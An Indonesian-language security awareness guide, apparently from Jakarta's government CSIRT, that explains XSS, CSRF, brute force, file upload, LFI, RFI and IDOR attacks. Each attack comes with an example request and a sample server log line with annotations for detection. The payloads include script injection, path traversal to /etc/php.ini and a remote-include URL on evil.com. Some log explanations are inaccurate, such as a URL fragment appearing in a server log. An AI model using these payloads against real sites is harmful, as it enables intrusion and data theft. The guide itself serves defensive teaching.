XSS Reflected adalah jenis serangan Cross-Site Scripting (XSS) di mana skrip jahat disuntikkan ke dalam permintaan (request) dan dieksekusi secara langsung sebagai respons dari server tanpa disimpan secara permanen. Berbeda dengan XSS Stored, di mana skrip disimpan di server dan dijalankan setiap kali halaman diakses, XSS Reflected memerlukan interaksi langsung dari pengguna dengan tautan atau URL yang mengandung payload berbahaya.

Contoh XSS Reflected dengan Payload di URL Parameter

```
curl "https://example.com/search?query=<script>alert('XSS Reflected')</script>"
```

Penjelasan XSS Command:

- Payload: <script>alert('XSS Reflected')</script>
- Tujuan: Menyuntikkan skrip yang dieksekusi langsung dalam hasil pencarian tanpa disimpan di server.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /search?query=%3Cscript%3Ealert('XSS%20Reflected')%3C/script%3E HTTP/1.1" 200 1540 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"GET / HTTP/1.1"** adalah metode HTTP dan path yang diminta.
- **/search?query=%3Cscript%3Ealert('XSS%20Reflected')%3C/script%3E HTTP/1.1**: Permintaan HTTP GET untuk URL dengan parameter query=<script>alert('XSS Reflected')</script>.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.
- **1540**: Ukuran respons dalam byte.

EXPLOITATION

XSS - Dom Based

XSS DOM-Based adalah jenis serangan Cross-Site Scripting (XSS) di mana skrip jahat disuntikkan melalui manipulasi Document Object Model (DOM) di sisi klien. Berbeda dengan XSS Reflected atau XSS Stored, XSS DOM-Basedtidak bergantung pada respons server untuk menyuntikkan skrip jahat. Sebaliknya, serangan ini mengeksploitasi cara aplikasi web menangani data di sisi klien menggunakan JavaScript.

Cara Kerja XSS DOM-Based

1. Penyuntikan Payload: Penyerang mengirimkan payload melalui URL, data formulir, atau sumber data lain yang digunakan oleh JavaScript di sisi klien.
2. Manipulasi DOM: JavaScript di sisi klien memanipulasi DOM berdasarkan data dari pengguna tanpa validasi yang memadai.
3. Eksekusi Skrip: Payload dieksekusi di browser korban, yang dapat menyebabkan pengambilan data sensitif, penyisipan konten, atau perusakan sesi.

Contoh XSS DOM-Based dengan Manipulasi URL Fragment

curl "https://example.com/#<script>alert('DOM-Based XSS')</script>"

Penjelasan XSS Command:

- Payload: <script>alert('DOM-Based XSS')</script>
- Tujuan: Skrip disuntikkan ke dalam URL fragment dan dieksekusi oleh JavaScript di sisi klien saat halaman dimuat.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /#%3Cscript%3Ealert('DOM-Based%20XSS')%3C/script%3E HTTP/1.1" 200 1600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"GET / HTTP/1.1"** adalah metode HTTP dan path yang diminta.
- **GET /#%3Cscript%3Ealert('DOM-Based%20XSS')%3C/script%3E HTTP/1.1**: Permintaan HTTP GET dengan URL fragment yang berisi payload <script>alert('DOM-Based XSS') </script>.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.
- **1600**: Ukuran respons dalam byte.

EXPLOITATION

CSRF

Cross-Site Request Forgery (CSRF) adalah jenis serangan di mana penyerang membuat permintaan yang tidak sah atas nama pengguna yang telah diautentikasi tanpa pengetahuan mereka. Dalam serangan CSRF, penyerang mengeksploitasi kepercayaan situs web terhadap browser pengguna. Jika pengguna yang diserang sudah login ke sebuah situs, penyerang dapat membuat permintaan jahat untuk melakukan tindakan yang tidak diinginkan di situs tersebut, seperti mengubah password atau mentransfer dana.

Cara Kerja CSRF

1. Penyerang Membuat Halaman Web Berbahaya: Penyerang membuat halaman web yang mengandung permintaan jahat.
2. Pengguna Mengunjungi Halaman Berbahaya: Pengguna yang sudah login ke situs target secara tidak sengaja mengunjungi halaman web yang berisi payload CSRF.
3. Permintaan CSRF Dikirimkan: Halaman web berbahaya tersebut mengirimkan permintaan ke situs target menggunakan kredensial pengguna yang aktif (seperti cookie sesi).
4. Situs Web Target Memproses Permintaan: Situs web target memproses permintaan jahat tersebut sebagai permintaan sah dari pengguna.

Contoh CSRF dengan Permintaan POST untuk Mengubah Password

curl -X POST "https://example.com/change-password" -H "Content-Type: application/x-www-form-urlencoded" -d "new_password=Hacked123&confirm_password=Hacked123"

Penjelasan CSRF Command:

- Payload: new_password=Hacked123&confirm_password=Hacked123
- Tujuan: Mengubah password akun pengguna yang sudah login tanpa sepengetahuan pengguna.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "POST /change-password HTTP/1.1" 200 1500 "https://malicious-site.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"POST"** adalah metode HTTP dan path yang diminta.
- **/change-password HTTP/1.1**: Permintaan HTTP POST ke endpoint untuk mengubah password.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.
- **1500**: Ukuran respons dalam byte.
- **"https://malicious-site.com"**: Referer header yang menunjukkan bahwa permintaan dibuat dari situs berbahaya.
-

EXPLOITATION

Bruteforce - Login page

Brute Force Attack adalah teknik serangan di mana penyerang mencoba berbagai kombinasi username dan password secara otomatis untuk mendapatkan akses ke akun pengguna atau sistem. Dalam konteks halaman login, brute force attack mencoba untuk memecahkan kredensial dengan cara mencoba semua kemungkinan kombinasi hingga menemukan yang benar.

Cara Kerja Brute Force Attack

1. Penyerang Mengidentifikasi Target: Penyerang menargetkan halaman login dari aplikasi web.
2. Penyerang Menyiapkan Daftar Kombinasi: Penyerang mengumpulkan daftar kombinasi username dan password (bisa menggunakan daftar kata sandi umum atau password yang bocor dari pelanggaran data).
3. Penyerang Melakukan Permintaan Login Berulang: Penyerang secara otomatis mengirimkan permintaan login dengan berbagai kombinasi username dan password ke halaman login.
4. Penyerang Mengamati Respon dari Server: Penyerang menganalisis respons dari server untuk menentukan apakah kombinasi username dan password yang dicoba benar atau tidak.

Contoh Brute Force Attack dengan Kombinasi Username dan Password yang Salah

```
curl -X POST "https://example.com/login" -H "Content-Type: application/x-www-form-urlencoded" -d "username=user1&password=wrongpassword"
```

Penjelasan Command:

- Payload: username=user1&password=wrongpassword
- Tujuan: Mencoba kombinasi username dan password untuk menemukan kombinasi yang benar.

Contoh log:

```
192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "POST /login HTTP/1.1" 401 220 "https://example.com/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
```

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **POST /login HTTP/1.1**: Permintaan HTTP POST ke endpoint login.
- **401**: Kode status HTTP yang menunjukkan bahwa kredensial yang diberikan salah (Unauthorized).
- **220**: Ukuran respons dalam byte.
- **"https://example.com/login"**: Referer header yang menunjukkan bahwa permintaan dilakukan dari halaman login.
- **"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"**: User-Agent header menunjukkan browser yang digunakan.

EXPLOITATION

Bruteforce - SSH

Brute Force SSH Attack adalah teknik serangan di mana penyerang mencoba berbagai kombinasi username dan password untuk mendapatkan akses ke server melalui protokol SSH. SSH adalah protokol yang digunakan untuk mengakses dan mengelola server secara remote dengan aman, tetapi jika tidak dikonfigurasi dengan baik, dapat menjadi target serangan brute force.

Cara Kerja Brute Force SSH Attack:

1. Penyerang Menargetkan Server SSH: Penyerang mencari server yang menjalankan layanan SSH dan mencoba melakukan login.
2. Penyerang Menyiapkan Daftar Kombinasi: Penyerang membuat atau menggunakan daftar kombinasi username dan password yang umum atau hasil dari kebocoran data.
3. Penyerang Melakukan Percobaan Login Berulang: Penyerang menggunakan alat otomatis untuk mencoba kombinasi username dan password ke server SSH.
4. Penyerang Menganalisis Hasil: Penyerang memeriksa tanggapan dari server untuk menentukan apakah login berhasil atau tidak.

Contoh Percobaan Login dengan Username dan Password yang Salah

ssh username@hostname

Penjelasan Command:

- Payload: username@hostname dengan password yang salah.
- Tujuan: Mengetahui apakah username yang ditargetkan valid dan password yang salah.

Contoh log:

Oct 10 14:10:01 server sshd[12345]: Failed password for invalid user username from 192.168.1.100 port 22 ssh2

Penjelasan Log:

- Failed password for invalid user username: Log ini menunjukkan bahwa percobaan login gagal untuk username yang tidak valid.
- from 192.168.1.100: Alamat IP dari mana percobaan login dilakukan.
- port 22: Port yang digunakan untuk koneksi SSH (port default adalah 22).
- ssh2: Versi SSH yang digunakan.

EXPLOITATION

File Upload

File Upload Vulnerability adalah kerentanan keamanan di mana penyerang dapat mengunggah file ke server web dengan cara yang tidak aman. Kerentanan ini dapat digunakan untuk mengunggah file yang berisi kode jahat, seperti web shells, atau file yang dapat dieksekusi oleh server. Jika file yang diunggah dapat dieksekusi atau diakses tanpa validasi yang benar, penyerang dapat mengambil alih server atau mengakses data yang tidak seharusnya.

Cara Kerja:

1. Penyerang menemukan endpoint di aplikasi web yang memungkinkan pengguna mengunggah berkas, seperti formulir unggah berkas atau API.
2. Penyerang membuat berkas yang berisi kode jahat atau berkas berbahaya yang dirancang untuk dieksekusi oleh server.
3. Penyerang mengunggah berkas yang dibuat ke server melalui endpoint unggah.
4. Jika berkas dapat diakses atau dieksekusi oleh server, penyerang dapat memanfaatkan kerentanan untuk menjalankan kode berbahaya, mencuri data, atau mendapatkan akses tidak sah.

Contoh Mengunggah Berkas dengan Ekstensi Berbahaya

```
curl -X POST "https://example.com/upload" -F "file=@malicious.php" -F "submit=Upload"
```

Penjelasan Command:

- Payload: malicious.php
- Tujuan: Mengunggah file PHP yang dapat dieksekusi di server untuk menjalankan kode berbahaya.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "POST /upload HTTP/1.1" 200 1024 "https://example.com/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **POST /upload HTTP/1.1**: Permintaan HTTP POST ke endpoint unggah berkas.
- **200**: Kode status HTTP yang menunjukkan bahwa permintaan berhasil (OK).
- **1024**: Ukuran respons dalam byte.
- **"https://example.com/upload"**: Referer header menunjukkan bahwa permintaan dilakukan dari halaman unggah berkas.
- **"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"**: User-Agent header menunjukkan browser yang digunakan.

EXPLOITATION

Local File Inclusion - LFI

Local File Inclusion (LFI) adalah kerentanan keamanan di aplikasi web yang memungkinkan penyerang untuk menyertakan file dari sistem file lokal server. Ini terjadi ketika aplikasi web memperbolehkan parameter yang mengontrol file mana yang dimasukkan ke dalam skrip PHP atau aplikasi web tanpa validasi yang benar.

Kerentanan ini dapat dieksploitasi untuk:

- Membaca Berkas Sensitif: Seperti /etc/passwd, konfigurasi aplikasi, atau file log yang berisi informasi sensitif.
- Menjalankan Kode Berbahaya: Jika file yang disertakan dapat dieksekusi, penyerang dapat meng-upload dan mengeksekusi kode berbahaya.
- Mengakses Berkas Sistem: Berpotensi untuk mengakses file-file yang seharusnya tidak bisa diakses oleh publik.

Contoh Mengakses File Konfigurasi PHP

```
GET /index.php?page=../../../../etc/php.ini HTTP/1.1
Host: example.com
```

Penjelasan Command:

- Payload: ../../../../etc/php.ini
- Tujuan: Membaca file konfigurasi PHP untuk informasi seperti pengaturan display_errors atau open_basedir.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /index.php?page=../../../../etc/php.ini HTTP/1.1" 200 2048 "https://example.com/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **GET /index.php?page=../../../../etc/php.ini HTTP/1.1**: Permintaan HTTP GET dengan parameter page yang berisi path relatif untuk file php.ini dari direktori konfigurasi PHP.
- **200**: Kode status HTTP yang menunjukkan bahwa permintaan berhasil (OK).
- **2048**: Ukuran respons dalam byte, menunjukkan konten file php.ini telah dikirim ke penyerang.
- **"https://example.com/index.php"**: Referer header menunjukkan bahwa permintaan dilakukan dari halaman index.php.
- **"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"**: User-Agent header menunjukkan browser yang digunakan.

EXPLOITATION

Remote File Inclusion - RFI

Remote File Inclusion (RFI) adalah kerentanan keamanan pada aplikasi web yang memungkinkan penyerang untuk menyertakan file dari server remote ke dalam aplikasi web. Kerentanan ini terjadi ketika aplikasi web tidak memvalidasi dengan benar parameter yang menentukan file mana yang akan di-include atau dimasukkan.
Dengan RFI, penyerang dapat:

- Menjalankan Kode Berbahaya: Menyertakan dan mengeksekusi skrip PHP atau kode berbahaya dari server remote.
- Mengambil Alih Server: Dengan menyertakan skrip berbahaya yang dapat memberikan akses backdoor atau menjalankan perintah jahat.
- Mengakses Data Sensitif: Mengambil data atau file yang seharusnya tidak dapat diakses oleh pengguna.

Contoh Menyertakan File PHP dari Server Remote

```
GET /index.php?page=http://evil.com/malicious.php HTTP/1.1
Host: example.com
```

Penjelasan Command:

- Payload: http://evil.com/malicious.php
- Tujuan: Menyertakan dan mengeksekusi file PHP berbahaya dari server remote.

Contoh log:

```
192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /index.php?page=http://evil.com/malicious.php HTTP/1.1" 200 3048 "https://example.com/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
```

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **GET /index.php?page=http://evil.com/malicious.php HTTP/1.1**: Permintaan HTTP GET dengan parameter pageyang mengarah ke file PHP berbahaya dari server remote.
- **200**: Kode status HTTP yang menunjukkan bahwa permintaan berhasil (OK).
- **3048**: Ukuran respons dalam byte, menunjukkan bahwa file malicious.php telah di-include.
- **"https://example.com/index.php"**: Referer header menunjukkan bahwa permintaan dilakukan dari halaman index.php.
- **"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"**: User-Agent header menunjukkan browser yang digunakan.

EXPLOITATION

IDOR

Insecure Direct Object Reference (IDOR) adalah jenis kerentanan keamanan di aplikasi web di mana penyerang dapat mengakses data atau objek yang seharusnya tidak mereka akses dengan memodifikasi parameter dalam request. IDOR terjadi ketika aplikasi web tidak memvalidasi hak akses pengguna terhadap objek yang diminta.

Contoh Kasus IDOR
Misalnya, jika aplikasi web menggunakan parameter dalam URL untuk mengidentifikasi objek, seperti user_id, dan tidak melakukan cek hak akses yang tepat, penyerang bisa mencoba mengganti user_id untuk mengakses data pengguna lain.
Kasus IDOR Umum

- Akses data pengguna lain: Misalnya, GET /user/profile?id=123 untuk melihat profil pengguna ID 123. Jika seorang penyerang mengubah ID menjadi 124, dan mereka bisa melihat profil pengguna lain tanpa otorisasi, maka ini adalah IDOR.

Contoh Mengakses Profil Pengguna Lain

```
GET /user/profile?id=456 HTTP/1.1
Host: example.com
Authorization: Bearer valid_token_for_user_123
```

Penjelasan Command:

- Payload: id=456
- Tujuan: Mengakses profil pengguna dengan ID yang berbeda dari ID yang diakses sebelumnya. Ini menunjukkan IDOR jika pengguna dengan token user_123 tidak seharusnya mengakses data pengguna lain.

Contoh log:

```
192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /user/profile?id=456 HTTP/1.1" 200 1234 "https://example.com/user/profile?id=123" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
```

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **GET /user/profile?id=456 HTTP/1.1**: Permintaan HTTP GET untuk mengakses profil pengguna dengan id=456, yang seharusnya mungkin tidak dapat diakses oleh pengguna yang otentikasi sebagai user_123.
- **200**: Kode status HTTP yang menunjukkan bahwa permintaan berhasil (OK).
- **1234**: Ukuran respons dalam byte, menunjukkan konten profil pengguna ID 456.
- **"https://example.com/user/profile?id=123"**: Referer header menunjukkan bahwa permintaan dimulai dari profil pengguna ID 123.
- **"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"**: User-Agent header menunjukkan browser yang digunakan.

Bidang Siber Sandi & Aplikasi
Diskominfotik DKI Jakarta

soc.jakarta.go.id
csirt.jakarta.go.id
it-security@jakarta.go.id